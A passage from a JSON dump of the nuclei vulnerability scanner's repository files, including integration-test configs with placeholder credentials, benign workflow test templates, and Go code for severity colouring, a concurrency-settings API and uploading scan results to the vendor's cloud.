account-id is the account-id of the Jira user or username in case of on-prem Jira\n  account-id: test-account-id\n  # email is the email of the user for Jira instance\n  email: test@test.com\n  # token is the token for Jira instance or password in case of on-prem Jira\n  token: test-token\n  # project-name is the name of the project.\n  project-name: test-project-name\n  # issue-type is the name of the created issue type\n  issue-type: bug\n\n# elasticsearch contains configuration options for elasticsearch exporter\nelasticsearch:\n  # IP for elasticsearch instance\n  ip: 127.0.0.1\n  # Port is the port of elasticsearch instance\n  port: 9200\n  # IndexName is the name of the elasticsearch index\n  index-name: nuclei\n  # SSL enables ssl for elasticsearch connection\n  ssl: false\n  # SSLVerification disables SSL verification for elasticsearch\n  ssl-verification: false\n  # Username for the elasticsearch instance\n  username: test\n  # Password is the password for elasticsearch instance\n  password: test\n"
  },
  {
    "path": "integration_tests/test-issue-tracker-config2.yaml",
    "content": "allow-list:\n  severity:\n    - high\n    - critical\ndeny-list:\n  severity: low\n\n# GitHub contains configuration options for GitHub issue tracker\ngitHub:\n  # base-url is the optional self-hosted GitHub application url\n  base-url: https://localhost:8443/GitHub\n  # username is the username of the GitHub user\n  username: test-username\n  # owner is the owner name of the repository for issues.\n  owner: test-owner\n  # token is the token for GitHub account.\n  token: test-token\n  # project-name is the name of the repository.\n  project-name: test-project\n  # issue-label is the label of the created issue type\n  issue-label: bug\n\n# GitLab contains configuration options for GitLab issue tracker\ngitLab:\n  # base-url is the optional self-hosted GitLab application url\n  base-url: https://localhost:8443/GitLab\n  # username is the username of the GitLab user\n  username: test-username\n  # token is the token for GitLab account.\n  token: test-token\n  # project-name is the name/id of the project(repository).\n  project-name: \"1234\"\n  # issue-label is the label of the created issue type\n  issue-label: bug\n  # duplicate-issue-check flag to enable duplicate tracking issue check.\n  duplicate-issue-check: true\n\n# Jira contains configuration options for Jira issue tracker\njira:\n  # cloud is the boolean which tells if Jira instance is running in the cloud or on-prem version is used\n  cloud: true\n  # update-existing is the boolean which tells if the existing, opened issue should be updated or new one should be created\n  update-existing: false\n  # URL is the Jira application url\n  url: https://localhost/Jira\n  # account-id is the account-id of the Jira user or username in case of on-prem Jira\n  account-id: test-account-id\n  # email is the email of the user for Jira instance\n  email: test@test.com\n  # token is the token for Jira instance or password in case of on-prem Jira\n  token: test-token\n  # project-name is the name of the project.\n  project-name: test-project-name\n  # issue-type is the name of the created issue type\n  issue-type: bug\n\n# elasticsearch contains configuration options for elasticsearch exporter\nelasticsearch:\n  # IP for elasticsearch instance\n  ip: 127.0.0.1\n  # Port is the port of elasticsearch instance\n  port: 9200\n  # IndexName is the name of the elasticsearch index\n  index-name: nuclei\n  # SSL enables ssl for elasticsearch connection\n  ssl: false\n  # SSLVerification disables SSL verification for elasticsearch\n  ssl-verification: false\n  # Username for the elasticsearch instance\n  username: test\n  # Password is the password for elasticsearch instance\n  password: test"
  },
  {
    "path": "integration_tests/workflow/basic.yaml",
    "content": "id: workflow-example\n\ninfo:\n  name: Test Workflow Template\n  author: pdteam\n  severity: info\n\nworkflows:\n  - template: workflow/match-1.yaml\n  - template: workflow/match-2.yaml"
  },
  {
    "path": "integration_tests/workflow/code-template-1.yaml",
    "content": "id: code-template-1\n\ninfo:\n  name: code-template-1\n  author: tovask\n  severity: info\n  tags: code\n\ncode:\n  - engine:\n      - py\n      - python3\n      - python\n    source: |\n      print(\"hello from first\")\n    extractors:\n      - type: regex\n        name: extracted\n        regex:\n          - 'hello from (.*)'\n        group: 1\n# digest: 490a0046304402206b3648e8d393ac4df82c7d59b1a6ee3731c66c249dbd4d9bf31f0b7f176b37ec02203184d36373e516757c7d708b5799bc16edb1cebc0a64f3442d13ded4b33c42fb:4a3eb6b4988d95847d4203be25ed1d46"
  },
  {
    "path": "integration_tests/workflow/code-template-2.yaml",
    "content": "id: code-template-2\n\ninfo:\n  name: code-template-2\n  author: tovask\n  severity: info\n  tags: code\n\ncode:\n  - engine:\n      - py\n      - python3\n      - python\n    source: |\n      import os\n      print(\"hello from \" + os.getenv(\"extracted\"))\n    matchers:\n      - type: word\n        words:\n          - \"hello from first\"\n# digest: 490a0046304402204cbb1bdf8370e49bb930b17460fb35e15f285a3b48b165736ac0e7ba2f9bc0fb022067c134790c4a2cf646b195aa4488e2c222266436e6bda47931908a28807bdb81:4a3eb6b4988d95847d4203be25ed1d46"
  },
  {
    "path": "integration_tests/workflow/code-value-share-workflow.yaml",
    "content": "id: code-value-sharing-workflow\n\ninfo:\n  name: Code Value Sharing Workflow\n  author: tovask\n  severity: info\n  tags: code\n\nworkflows:\n  - template: workflow/code-template-1.yaml\n    subtemplates:\n      - template: workflow/code-template-2.yaml\n"
  },
  {
    "path": "integration_tests/workflow/complex-conditions.yaml",
    "content": "id: complex-conditions-workflow\n\ninfo:\n  name: Complex Conditions Workflow\n  author: tovask\n  severity: info\n  description: Workflow to test a complex scenario, e.g. race conditions when evaluating the results of the templates\n\nworkflows:\n  - template: workflow/match-1.yaml\n    subtemplates:\n      - template: workflow/nomatch-1.yaml\n        subtemplates:\n          - template: workflow/match-2.yaml\n  - template: workflow/match-3.yaml\n  - template: workflow/match-2.yaml\n    matchers: \n      - name: test-matcher\n        subtemplates:\n          - template: workflow/nomatch-1.yaml\n            subtemplates:\n              - template: workflow/match-1.yaml\n  - template: workflow/match-3.yaml\n"
  },
  {
    "path": "integration_tests/workflow/condition-matched.yaml",
    "content": "id: condition-matched-workflow\n\ninfo:\n  name: Condition Matched Workflow\n  author: pdteam\n  severity: info\n\nworkflows:\n  - template: workflow/match-1.yaml\n    subtemplates:\n      - template: workflow/match-2.yaml"
  },
  {
    "path": "integration_tests/workflow/condition-unmatched.yaml",
    "content": "id: condition-unmatched-workflow\n\ninfo:\n  name: Condition UnMatched Workflow\n  author: pdteam\n  severity: info\n\nworkflows:\n  - template: workflow/nomatch-1.yaml\n    subtemplates:\n      - template: workflow/match-2.yaml"
  },
  {
    "path": "integration_tests/workflow/dns-value-share-template-1.yaml",
    "content": "id: dns-value-sharing-template1\n\ninfo:\n  name: dns-value-sharing-template1\n  author: pdteam\n  severity: info\n\ndns:\n  - name: \"{{FQDN}}\"\n    type: A\n\n    extractors:\n      - type: regex\n        name: extracted\n        group: 1\n        regex:\n          - \"IN\\tA\\t(.+)\""
  },
  {
    "path": "integration_tests/workflow/dns-value-share-template-2.yaml",
    "content": "id: dns-value-sharing-template2\n\ninfo:\n  name: dns-value-sharing-template2\n  author: pdteam\n  severity: info\n\ndns:\n  - name: \"{{extracted}}\"\n    type: PTR"
  },
  {
    "path": "integration_tests/workflow/dns-value-share-template-3.yaml",
    "content": "id: value-sharing-template2\n\ninfo:\n  name: value-sharing-template2\n  author: pdteam\n  severity: info\n\nhttp:\n  - raw:\n      - |\n        GET / HTTP/1.1\n        Host: {{Hostname}}\n        \n        {{extracted}}\n\n    matchers:\n      - type: word\n        words:\n          - \"ok\""
  },
  {
    "path": "integration_tests/workflow/dns-value-share-workflow.yaml",
    "content": "id: dns-value-sharing-workflow\ninfo:\n  name: DNS Value Sharing Test\n  author: pdteam\n  severity: info\n\nworkflows:\n  - template: workflow/dns-value-share-template-1.yaml\n    subtemplates:\n      - template: workflow/dns-value-share-template-2.yaml\n      - template: workflow/dns-value-share-template-3.yaml"
  },
  {
    "path": "integration_tests/workflow/headless-1.yaml",
    "content": "id: headless-1\ninfo:\n  name: Headless 1\n  author: pdteam\n  severity: info\n  tags: headless\n\nheadless:\n    - steps:\n      - action: navigate\n        args:\n          url: \"{{BaseURL}}/headless1\"\n        \n      - action: waitload\n  "
  },
  {
    "path": "integration_tests/workflow/http-1.yaml",
    "content": "id: http1\n\ninfo:\n  name: http1\n  author: pdteam\n  severity: info\n\nhttp:\n  - method: GET\n    path:\n      - \"{{BaseURL}}/http1\""
  },
  {
    "path": "integration_tests/workflow/http-2.yaml",
    "content": "id: http2\n\ninfo:\n  name: http2\n  author: pdteam\n  severity: info\n\nhttp:\n  - method: GET\n    path:\n      - \"{{BaseURL}}/http2\""
  },
  {
    "path": "integration_tests/workflow/http-3.yaml",
    "content": "id: http3\n\ninfo:\n  name: http3\n  author: pdteam\n  severity: info\n\nhttp:\n  - method: GET\n    path:\n      - \"{{BaseURL}}/http3\""
  },
  {
    "path": "integration_tests/workflow/http-value-share-template-1.yaml",
    "content": "id: value-sharing-template1\n\ninfo:\n  name: value-sharing-template1\n  author: pdteam\n  severity: info\n\nhttp:\n  - path:\n      - \"{{BaseURL}}/path1\"\n    extractors:\n      - type: regex\n        part: body\n        name: extracted\n        regex:\n          - 'href=\"(.*)\"'\n        group: 1"
  },
  {
    "path": "integration_tests/workflow/http-value-share-template-2.yaml",
    "content": "id: value-sharing-template2\n\ninfo:\n  name: value-sharing-template2\n  author: pdteam\n  severity: info\n\nhttp:\n  - raw:\n      - |\n        GET /path2 HTTP/1.1\n        Host: {{Hostname}}\n        \n        {{extracted}}\n\n    matchers:\n      - type: word\n        words:\n          - \"test-value\""
  },
  {
    "path": "integration_tests/workflow/http-value-share-workflow.yaml",
    "content": "id: http-value-sharing-workflow\ninfo:\n  name: HTTP Value Sharing Test\n  author: pdteam\n  severity: info\n\nworkflows:\n  - template: workflow/http-value-share-template-1.yaml\n    subtemplates:\n      - template: workflow/http-value-share-template-2.yaml"
  },
  {
    "path": "integration_tests/workflow/match-1.yaml",
    "content": "id: basic-get\n\ninfo:\n  name: Basic GET Request\n  author: pdteam\n  severity: info\n\nhttp:\n  - method: GET\n    path:\n      - \"{{BaseURL}}\"\n    matchers:\n      - type: word\n        words:\n          - \"This is test matcher text\""
  },
  {
    "path": "integration_tests/workflow/match-2.yaml",
    "content": "id: basic-get-another\n\ninfo:\n  name: Basic Another GET Request\n  author: pdteam\n  severity: info\n\nhttp:\n  - method: GET\n    path:\n      - \"{{BaseURL}}\"\n    matchers:\n      - type: word\n        name: test-matcher\n        words:\n          - \"This is test matcher text\""
  },
  {
    "path": "integration_tests/workflow/match-3.yaml",
    "content": "id: basic-get-third\n\ninfo:\n  name: Basic 3rd GET Request\n  author: tovask\n  severity: info\n\nhttp:\n  - method: GET\n    path:\n      - \"{{BaseURL}}\"\n    matchers:\n      - type: word\n        name: test-matcher-3\n        words:\n          - \"This is test matcher text\"\n"
  },
  {
    "path": "integration_tests/workflow/matcher-name.yaml",
    "content": "id: matcher-name-workflow\n\ninfo:\n  name: Matcher Name Workflow\n  author: pdteam\n  severity: info\n\nworkflows:\n  - template: workflow/match-2.yaml\n    matchers: \n      - name: test-matcher\n        subtemplates:\n          - template: workflow/match-1.yaml"
  },
  {
    "path": "integration_tests/workflow/multimatch-value-share-template.yaml",
    "content": "id: multimatch-value-share-template\r\n\r\ninfo:\r\n  name: MultiMatch Value Share Template\r\n  author: tovask\r\n  severity: info\r\n\r\nhttp:\r\n  - path:\r\n      - \"{{BaseURL}}/path1?v=1\"\r\n      - \"{{BaseURL}}/path1?v=2\"\r\n    matchers:\r\n      - type: word\r\n        name: test-matcher\r\n        words:\r\n          - \"href\"\r\n    extractors:\r\n      - type: regex\r\n        part: body\r\n        name: extracted\r\n        regex:\r\n          - 'href=\"(.*)\"'\r\n        group: 1\r\n"
  },
  {
    "path": "integration_tests/workflow/multimatch-value-share-workflow.yaml",
    "content": "id: multimatch-value-share-workflow\r\n\r\ninfo:\r\n  name: MultiMatch Value Share Workflow\r\n  author: tovask\r\n  severity: info\r\n  description: Workflow to test value sharing when multiple matches occur in the extractor template\r\n\r\nworkflows:\r\n  - template: workflow/multimatch-value-share-template.yaml\r\n    subtemplates:\r\n      - template: workflow/match-1.yaml\r\n        subtemplates:\r\n          - template: workflow/http-value-share-template-2.yaml\r\n  - template: workflow/multimatch-value-share-template.yaml\r\n    matchers:\r\n      - name: test-matcher\r\n        subtemplates:\r\n          - template: workflow/match-1.yaml\r\n            subtemplates:\r\n              - template: workflow/http-value-share-template-2.yaml\r\n"
  },
  {
    "path": "integration_tests/workflow/multiprotocol-value-share-template.yaml",
    "content": "id: multiprotocol-value-sharing-template\n\ninfo:\n  name: MultiProtocol Value Sharing Template\n  author: tovask\n  severity: info\n\ndns:\n  - name: \"{{extracted}}\"\n    type: PTR\n    matchers:\n      - type: word\n        words:\n          - \"blog.projectdiscovery.io\"\n\nhttp:\n  - path:\n      - \"{{BaseURL}}/path2?extracted={{extracted}}\"\n    matchers:\n      - type: word\n        words:\n          - \"blog.projectdiscovery.io\"\n"
  },
  {
    "path": "integration_tests/workflow/multiprotocol-value-share-workflow.yaml",
    "content": "id: multiprotocol-value-sharing-workflow\n\ninfo:\n  name: MultiProtocol Value Sharing Workflow\n  author: tovask\n  severity: info\n\nworkflows:\n  - template: workflow/http-value-share-template-1.yaml\n    subtemplates:\n      - template: workflow/multiprotocol-value-share-template.yaml\n"
  },
  {
    "path": "integration_tests/workflow/nomatch-1.yaml",
    "content": "id: basic-get-nomatch\n\ninfo:\n  name: Basic GET Request NoMatch\n  author: pdteam\n  severity: info\n\nhttp:\n  - method: GET\n    path:\n      - \"{{BaseURL}}\"\n    matchers:\n      - type: word\n        words:\n          - \"Random\""
  },
  {
    "path": "integration_tests/workflow/shared-cookie.yaml",
    "content": "id: workflow-shared-cookies\n\ninfo:\n  name: Test Workflow Shared Cookies\n  author: pdteam\n  severity: info\n\nworkflows:\n  # store cookies to standard http client cookie-jar\n  - template: workflow/http-1.yaml\n  - template: workflow/http-2.yaml\n  # store cookie in native browser context\n  - template: workflow/headless-1.yaml\n  # retrieve 2 standard library cookies + headless cookie\n  - template: workflow/http-3.yaml"
  },
  {
    "path": "internal/colorizer/colorizer.go",
    "content": "package colorizer\n\nimport (\n\t\"fmt\"\n\n\t\"github.com/logrusorgru/aurora\"\n\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/model/types/severity\"\n)\n\nconst (\n\tfgOrange uint8 = 208\n)\n\nfunc GetColor(colorizer aurora.Aurora, templateSeverity fmt.Stringer) string {\n\tvar method func(arg interface{}) aurora.Value\n\tswitch templateSeverity {\n\tcase severity.Info:\n\t\tmethod = colorizer.Blue\n\tcase severity.Low:\n\t\tmethod = colorizer.Green\n\tcase severity.Medium:\n\t\tmethod = colorizer.Yellow\n\tcase severity.High:\n\t\tmethod = func(stringValue interface{}) aurora.Value { return colorizer.Index(fgOrange, stringValue) }\n\tcase severity.Critical:\n\t\tmethod = colorizer.Red\n\tdefault:\n\t\tmethod = colorizer.White\n\t}\n\n\treturn method(templateSeverity.String()).String()\n}\n\nfunc New(colorizer aurora.Aurora) func(severity.Severity) string {\n\treturn func(severity severity.Severity) string {\n\t\treturn GetColor(colorizer, severity)\n\t}\n}\n"
  },
  {
    "path": "internal/httpapi/apiendpoint.go",
    "content": "package httpapi\n\nimport (\n\t\"net/http\"\n\t\"time\"\n\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/js/compiler\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/types\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/utils/json\"\n)\n\ntype Concurrency struct {\n\tBulkSize              int    `json:\"bulk_size\"`\n\tThreads               int    `json:\"threads\"`\n\tRateLimit             int    `json:\"rate_limit\"`\n\tRateLimitDuration     string `json:\"rate_limit_duration\"`\n\tPayloadConcurrency    int    `json:\"payload_concurrency\"`\n\tProbeConcurrency      int    `json:\"probe_concurrency\"`\n\tJavascriptConcurrency int    `json:\"javascript_concurrency\"`\n}\n\n// Server represents the HTTP server that handles the concurrency settings endpoints.\ntype Server struct {\n\taddr   string\n\tconfig *types.Options\n}\n\n// New creates a new instance of Server.\nfunc New(addr string, config *types.Options) *Server {\n\treturn &Server{\n\t\taddr:   addr,\n\t\tconfig: config,\n\t}\n}\n\n// Start initializes the server and its routes, then starts listening on the specified address.\nfunc (s *Server) Start() error {\n\thttp.HandleFunc(\"/api/concurrency\", s.handleConcurrency)\n\tif err := http.ListenAndServe(s.addr, nil); err != nil {\n\t\treturn err\n\t}\n\treturn nil\n}\n\n// handleConcurrency routes the request based on its method to the appropriate handler.\nfunc (s *Server) handleConcurrency(w http.ResponseWriter, r *http.Request) {\n\tswitch r.Method {\n\tcase http.MethodGet:\n\t\ts.getSettings(w, r)\n\tcase http.MethodPut:\n\t\ts.updateSettings(w, r)\n\tdefault:\n\t\thttp.Error(w, \"Unsupported HTTP method\", http.StatusMethodNotAllowed)\n\t}\n}\n\n// GetSettings handles GET requests and returns the current concurrency settings\nfunc (s *Server) getSettings(w http.ResponseWriter, _ *http.Request) {\n\tconcurrencySettings := Concurrency{\n\t\tBulkSize:              s.config.BulkSize,\n\t\tThreads:               s.config.TemplateThreads,\n\t\tRateLimit:             s.config.RateLimit,\n\t\tRateLimitDuration:     s.config.RateLimitDuration.String(),\n\t\tPayloadConcurrency:    s.config.PayloadConcurrency,\n\t\tProbeConcurrency:      s.config.ProbeConcurrency,\n\t\tJavascriptConcurrency: compiler.PoolingJsVmConcurrency,\n\t}\n\tw.Header().Set(\"Content-Type\", \"application/json\")\n\tif err := json.NewEncoder(w).Encode(concurrencySettings); err != nil {\n\t\thttp.Error(w, err.Error(), http.StatusInternalServerError)\n\t\treturn\n\t}\n}\n\n// UpdateSettings handles PUT requests to update the concurrency settings\nfunc (s *Server) updateSettings(w http.ResponseWriter, r *http.Request) {\n\tvar newSettings Concurrency\n\tif err := json.NewDecoder(r.Body).Decode(&newSettings); err != nil {\n\t\thttp.Error(w, err.Error(), http.StatusBadRequest)\n\t\treturn\n\t}\n\n\tif newSettings.RateLimitDuration != \"\" {\n\t\tif duration, err := time.ParseDuration(newSettings.RateLimitDuration); err == nil {\n\t\t\ts.config.RateLimitDuration = duration\n\t\t} else {\n\t\t\thttp.Error(w, \"Invalid duration format\", http.StatusBadRequest)\n\t\t\treturn\n\t\t}\n\t}\n\tif newSettings.BulkSize > 0 {\n\t\ts.config.BulkSize = newSettings.BulkSize\n\t}\n\tif newSettings.Threads > 0 {\n\t\ts.config.TemplateThreads = newSettings.Threads\n\t}\n\tif newSettings.RateLimit > 0 {\n\t\ts.config.RateLimit = newSettings.RateLimit\n\t}\n\tif newSettings.PayloadConcurrency > 0 {\n\t\ts.config.PayloadConcurrency = newSettings.PayloadConcurrency\n\t}\n\tif newSettings.ProbeConcurrency > 0 {\n\t\ts.config.ProbeConcurrency = newSettings.ProbeConcurrency\n\t}\n\tif newSettings.JavascriptConcurrency > 0 {\n\t\tcompiler.PoolingJsVmConcurrency = newSettings.JavascriptConcurrency\n\t\ts.config.JsConcurrency = newSettings.JavascriptConcurrency // no-op on speed change\n\t}\n\n\tw.WriteHeader(http.StatusOK)\n}\n"
  },
  {
    "path": "internal/pdcp/utils.go",
    "content": "package pdcp\n\nimport (\n\tpdcpauth \"github.com/projectdiscovery/utils/auth/pdcp\"\n\turlutil \"github.com/projectdiscovery/utils/url\"\n)\n\nfunc getScanDashBoardURL(id string, teamID string) string {\n\tux, _ := urlutil.Parse(pdcpauth.DashBoardURL)\n\tux.Path = \"/scans/\" + id\n\tif ux.Params == nil {\n\t\tux.Params = urlutil.NewOrderedParams()\n\t}\n\tif teamID != \"\" {\n\t\tux.Params.Add(\"team_id\", teamID)\n\t} else {\n\t\tux.Params.Add(\"team_id\", NoneTeamID)\n\t}\n\tux.Update()\n\treturn ux.String()\n}\n\ntype uploadResponse struct {\n\tID      string `json:\"id\"`\n\tMessage string `json:\"message\"`\n}\n"
  },
  {
    "path": "internal/pdcp/writer.go",
    "content": "package pdcp\n\nimport (\n\t\"bufio\"\n\t\"bytes\"\n\t\"context\"\n\t\"fmt\"\n\t\"io\"\n\t\"net/http\"\n\t\"net/url\"\n\t\"regexp\"\n\t\"sync/atomic\"\n\t\"time\"\n\n\t\"github.com/projectdiscovery/gologger\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/catalog/config\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/output\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/utils/json\"\n\t\"github.com/projectdiscovery/retryablehttp-go\"\n\tpdcpauth \"github.com/projectdiscovery/utils/auth/pdcp\"\n\t\"github.com/projectdiscovery/utils/env\"\n\t\"github.com/projectdiscovery/utils/errkit\"\n\tunitutils \"github.com/projectdiscovery/utils/unit\"\n\tupdateutils \"github.com/projectdiscovery/utils/update\"\n\turlutil \"github.com/projectdiscovery/utils/url\"\n)\n\nconst (\n\tuploadEndpoint = \"/v1/scans/import\"\n\tappendEndpoint = \"/v1/scans/%s/import\"\n\tflushTimer     = time.Minute\n\tMaxChunkSize   = 4 * unitutils.Mega // 4 MB\n\txidRe          = `^[a-z0-9]{20}$`\n\tteamIDHeader   = \"X-Team-Id\"\n\tNoneTeamID     = \"none\"\n)\n\nvar (\n\txidRegex               = regexp.MustCompile(xidRe)\n\t_        output.Writer = &UploadWriter{}\n\t// teamID if given\n\tTeamIDEnv = env.GetEnvOrDefault(\"PDCP_TEAM_ID\", NoneTeamID)\n)\n\n// UploadWriter is a writer that uploads its output to pdcp\n// server to enable web dashboard and more\ntype UploadWriter struct {\n\t*output.StandardWriter\n\tcreds     *pdcpauth.PDCPCredentials\n\tuploadURL *url.URL\n\tclient    *retryablehttp.Client\n\tcancel    context.CancelFunc\n\tdone      chan struct{}\n\tscanID    string\n\tscanName  string\n\tcounter   atomic.Int32\n\tTeamID    string\n\tLogger    *gologger.Logger\n}\n\n// NewUploadWriter creates a new upload writer\nfunc NewUploadWriter(ctx context.Context, logger *gologger.Logger, creds *pdcpauth.PDCPCredentials) (*UploadWriter, error) {\n\tif creds == nil {\n\t\treturn nil, fmt.Errorf(\"no credentials provided\")\n\t}\n\tu := &UploadWriter{\n\t\tcreds:  creds,\n\t\tdone:   make(chan struct{}, 1),\n\t\tTeamID: NoneTeamID,\n\t\tLogger: logger,\n\t}\n\tvar err error\n\treader, writer := io.Pipe()\n\t// create standard writer\n\tu.StandardWriter, err = output.NewWriter(\n\t\toutput.WithWriter(writer),\n\t\toutput.WithJson(true, true),\n\t)\n\tif err != nil {\n\t\treturn nil, errkit.Wrap(err, \"could not create output writer\")\n\t}\n\ttmp, err := urlutil.Parse(creds.Server)\n\tif err != nil {\n\t\treturn nil, errkit.Wrap(err, \"could not parse server url\")\n\t}\n\ttmp.Path = uploadEndpoint\n\ttmp.Update()\n\tu.uploadURL = tmp.URL\n\n\t// create http client\n\topts := retryablehttp.DefaultOptionsSingle\n\topts.NoAdjustTimeout = true\n\topts.Timeout = time.Duration(3) * time.Minute\n\tu.client = retryablehttp.NewClient(opts)\n\n\t// create context\n\tctx, u.cancel = context.WithCancel(ctx)\n\t// start auto commit\n\t// upload every 1 minute or when buffer is full\n\tgo u.autoCommit(ctx, reader)\n\treturn u, nil\n}\n\n// SetScanID sets the scan id for the upload writer\nfunc (u *UploadWriter) SetScanID(id string) error {\n\tif !xidRegex.MatchString(id) {\n\t\tgologger.Warning().Msgf(\"invalid asset id provided (unknown xid format): %s\", id)\n\t}\n\tu.scanID = id\n\treturn nil\n}\n\n// SetScanName sets the scan name for the upload writer\nfunc (u *UploadWriter) SetScanName(name string) {\n\tu.scanName = name\n}\n\nfunc (u *UploadWriter) SetTeamID(id string) {\n\tif id == \"\" {\n\t\tu.TeamID = NoneTeamID\n\t} else {\n\t\tu.TeamID = id\n\t}\n}\n\nfunc (u *UploadWriter) autoCommit(ctx context.Context, r *io.PipeReader) {\n\treader := bufio.NewReader(r)\n\tch := make(chan string, 4)\n\n\t// continuously read from the reader and send to channel\n\tgo func() {\n\t\tdefer func() {\n\t\t\t_ = r.Close()\n\t\t}()\n\t\tdefer close(ch)\n\t\tfor {\n\t\t\tdata, err := reader.ReadString('\\n')\n\t\t\tif err != nil {\n\t\t\t\treturn\n\t\t\t}\n\t\t\tu.counter.Add(1)\n\t\t\tch <- data\n\t\t}\n\t}()\n\n\t// wait for context to be done\n\tdefer func() {\n\t\tu.done <- struct{}{}\n\t\tclose(u.done)\n\t\t// if no scanid is generated no results were uploaded\n\t\tif u.scanID == \"\" {\n\t\t\tu.Logger.Verbose().Msgf(\"Scan results upload to cloud skipped, no results found to upload\")\n\t\t} else {\n\t\t\tu.Logger.Info().Msgf(\"%v Scan results uploaded to cloud, you can view scan results at %v\", u.counter.Load(), getScanDashBoardURL(u.scanID, u.TeamID))\n\t\t}\n\t}()\n\t// temporary buffer to store the results\n\tbuff := &bytes.Buffer{}\n\tticker := time.NewTicker(flushTimer)\n\tdefer ticker.Stop()\n\tfor {\n\t\tselect {\n\t\tcase <-ctx.Done():\n\t\t\t// flush before exit\n\t\t\tif buff.Len() > 0 {\n\t\t\t\tif err := u.uploadChunk(buff); err != nil {\n\t\t\t\t\tu.Logger.Error().Msgf(\"Failed to upload scan results on cloud: %v\", err)\n\t\t\t\t}\n\t\t\t}\n\t\t\treturn\n\t\tcase <-ticker.C:\n\t\t\t// flush the buffer\n\t\t\tif buff.Len() > 0 {\n\t\t\t\tif err := u.uploadChunk(buff); err != nil {\n\t\t\t\t\tu.Logger.Error().Msgf(\"Failed to upload scan results on cloud: %v\", err)\n\t\t\t\t}\n\t\t\t}\n\t\tcase line, ok := <-ch:\n\t\t\tif !ok {\n\t\t\t\tif buff.Len() > 0 {\n\t\t\t\t\tif err := u.uploadChunk(buff); err != nil {\n\t\t\t\t\t\tu.Logger.Error().Msgf(\"Failed to upload scan results on cloud: %v\", err)\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\treturn\n\t\t\t}\n\t\t\tif buff.Len()+len(line) > MaxChunkSize {\n\t\t\t\t// flush existing buffer\n\t\t\t\tif err := u.uploadChunk(buff); err != nil {\n\t\t\t\t\tu.Logger.Error().Msgf(\"Failed to upload scan results on cloud: %v\", err)\n\t\t\t\t}\n\t\t\t} else {\n\t\t\t\tbuff.WriteString(line)\n\t\t\t}\n\t\t}\n\t}\n}\n\n// uploadChunk uploads a chunk of data to the server\nfunc (u *UploadWriter) uploadChunk(buff *bytes.Buffer) error {\n\tif err := u.upload(buff.Bytes()); err != nil {\n\t\treturn errkit.Wrap(err, \"could not upload chunk\")\n\t}\n\t// if successful, reset the buffer\n\tbuff.Reset()\n\t// log in verbose mode\n\tu.Logger.Warning().Msgf(\"Uploaded results chunk, you can view scan results at %v\", getScanDashBoardURL(u.scanID, u.TeamID))\n\treturn nil\n}\n\nfunc (u *UploadWriter) upload(data []byte) error {\n\treq, err := u.getRequest(data)\n\tif err != nil {\n\t\treturn errkit.Wrap(err, \"could not create upload request\")\n\t}\n\tresp, err := u.client.Do(req)\n\tif err != nil {\n\t\treturn errkit.Wrap(err, \"could not upload results\")\n\t}\n\tdefer func() {\n\t\t_ = resp.Body.Close()\n\t}()\n\tbin, err := io.ReadAll(resp.Body)\n\tif err != nil {\n\t\treturn errkit.Wrap(err, \"could not get id from response\")\n\t}\n\tif resp.StatusCode != http.StatusOK {\n\t\treturn fmt.Errorf(\"could not upload results got status code %v on %v\", resp.StatusCode, resp.Request.URL.String())\n\t}\n\tvar uploadResp uploadResponse\n\tif err := json.Unmarshal(bin, &uploadResp); err != nil {\n\t\treturn errkit.Wrap(err, fmt.Sprintf(\"could not unmarshal response got %v\", string(bin)))\n\t}\n\tif uploadResp.ID != \"\" && u.scanID == \"\" {\n\t\tu.scanID = uploadResp.ID\n\t}\n\treturn nil\n}\n\n// getRequest returns a new request for upload\n// if scanID is not provided create new scan by uploading the data\n// if scanID is provided append the data to existing scan\nfunc (u *UploadWriter) getRequest(bin []byte) (*retryablehttp.Request, error) {\n\tvar method, url string\n\n\tif u.scanID == \"\" {\n\t\tu.uploadURL.Path = uploadEndpoint\n\t\tmethod = http.MethodPost\n\t\turl = u.uploadURL.String()\n\t} else {\n\t\tu.uploadURL.Path = fmt.Sprintf(appendEndpoint, u.scanID)\n\t\tmethod = http.MethodPatch\n\t\turl = u.uploadURL.String()\n\t}\n\treq, err := retryablehttp.NewRequest(method, url, bytes.NewReader(bin))\n\tif err != nil {\n\t\treturn nil, errkit.Wrap(err, \"could not create cloud upload request\")\n\t}\n\t// add pdtm meta params\n\treq.Params.Merge(updateutils.GetpdtmParams(config.Version))\n\t// if it is upload endpoint also include name if it exists\n\tif u.scanName != \"\" && req.Path == uploadEndpoint {\n\t\treq.Params.Add(\"name\", u.scanName)\n\t}\n\treq.Update()\n\n\treq.Header.Set(pdcpauth.ApiKeyHeaderName, u.creds.APIKey)\n\tif u.TeamID != NoneTeamID && u.TeamID != \"\" {\n\t\treq.Header.Set(teamIDHeader, u.TeamID)\n\t}\n\treq.Header.Set(\"Content-Type\", \"application/octet-stream\")\n\treq.Header.Set(\"Accept\", \"application/json\")\n\treturn req, nil\n}\n\n// Close closes the upload writer\nfunc (u *UploadWriter) Close() {\n\tu.cancel()\n\t<-u.done\n\tu.StandardWriter.Close()\n}\n"
  },
  {
    "path": "internal/runner/banner.go",
    "content": "// Package runner executes the enumeration process.\npackage runner\n\nimport (\n\t\"fmt\"\n\n\t\"github.com/projectdiscovery/gologger\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/catalog/config\"\n\tpdcpauth \"github.com/projectdiscovery/utils/auth/pdcp\"\n\tupdateutils \"github.com/projectdiscovery/utils/update\"\n)\n\nvar banner = fmt.Sprintf(`\n                     __     _\n   ____  __  _______/ /__  (_)\n  / __ \\/ / / / ___/ / _ \\/ /\n / / / / /_/ / /__/ /  __/ /\n/_/ /_/\\__,_/\\___/_/\\___/_/   %s\n`, config.Version)\n\n// showBanner is used to show the banner to the user\nfunc showBanner() {\n\tgologger.Print().Msgf(\"%s\\n\", banner)\n\tgologger.Print().Msgf(\"\\t\\tprojectdiscovery.io\\n\\n\")\n}\n\n// NucleiToolUpdateCallback updates nuclei binary/tool to latest version\nfunc NucleiToolUpdateCallback() {\n\tshowBanner()\n\tupdateutils.GetUpdateToolCallback(config.BinaryName, config.Version)()\n}\n\n// AuthWithPDCP is used to authenticate with PDCP\nfunc 